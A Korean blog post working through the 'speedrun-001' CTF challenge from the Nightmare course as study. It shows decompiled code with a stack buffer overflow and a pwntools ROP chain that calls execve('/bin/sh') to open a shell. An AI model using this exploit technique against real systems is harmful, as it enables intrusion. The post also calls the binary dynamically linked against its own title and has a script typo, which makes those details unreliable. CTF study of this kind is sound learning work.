speedrun-001(static linking)
2022. 3. 27. 18:16ㆍCTF Write Up 보고 공부/NightMare
프로그램을 시작하면 위와 같은 문자열이 출력합니다.
이후 문자열을 입력할 수 있습니다.
입력한 후 입력한 값을 다시 출력해주며 프로그램이 끝납니다.
기드라를 통해 코드를 확인해보겠습니다.
undefined8
FUN_00400bc1(undefined8 param_1,undefined8 param_2,undefined8 param_3,undefined8 param_4,
undefined8 param_5,undefined8 param_6)
{
long lVar1;
FUN_00410590(PTR_DAT_006b97a0,0,2,0,param_5,param_6,param_2);
lVar1 = FUN_0040e790("DEBUG");
if (lVar1 == 0) {
FUN_00449040(5);
}
FUN_00400b4d();
FUN_00400b60();
FUN_00400bae();
return 0;
}
시작 포인트입니다.
아래 세 개의 함수 내부 코드입니다.
void FUN_00400b4d(void)
{
FUN_00410390("Hello brave new challenger");
return;
}
void FUN_00400b60(void)
{
undefined vulnbuf [1024];
FUN_00410390("Any last words?");
FUN_004498a0(0,vulnbuf,2000);
FUN_0040f710("This will be the last thing that you say: %s\n",vulnbuf);
return;
}
void FUN_00400bae(void)
{
FUN_00410390("Alas, you had no luck today.");
return;
}
중요한 부분은 가운데 함수로 해당 함수에서 read 함수를 통해 2000byte를 입력할 수 있습니다.
해당 부분에서 BOF가 발생합니다
이번 문제로 NX bit가 설정되어 있고 동적 링킹이 되어 있기 때문에 시스템 콜 인터럽트를 통해 셸을 실행시키면 됩니다.
코드와 결과는 다음과 같습니다.
from pwn import *
r = process('./speedrun-001')
pop_rax = 0x0000000000415664
pop_rdi = 0x0000000000400686
pop_rsi = 0x00000000004101f3
pop_rdx = 0x00000000004498b5
syscall = 0x000000000040129c
mov_dtoa = 0x000000000048d251
# RBP - 0x400 + SFP 8byte
payload l= b"A" * 0x400 + b"B" * 0x8
# /bin/sh 문자열 bss 영역에 복사
payload += p64(pop_rax) + p64(0x6b6000)
payload += p64(pop_rdx) + b"/bin/sh\x00"
payload += p64(mov_dtoa)
# execve /binsh, 0, 0
payload += p64(pop_rax) + p64(59)
payload += p64(pop_rdi) + p64(0x6b6000)
payload += p64(pop_rsi) + p64(0)
payload += p64(pop_rdx) + p64(0)
payload += p64(syscall)
r.sendline(payload)
r.interactive()
'CTF Write Up 보고 공부 > NightMare' 카테고리의 다른 글
Simplecalc(static linking) (0) | 2022.03.27 |
---|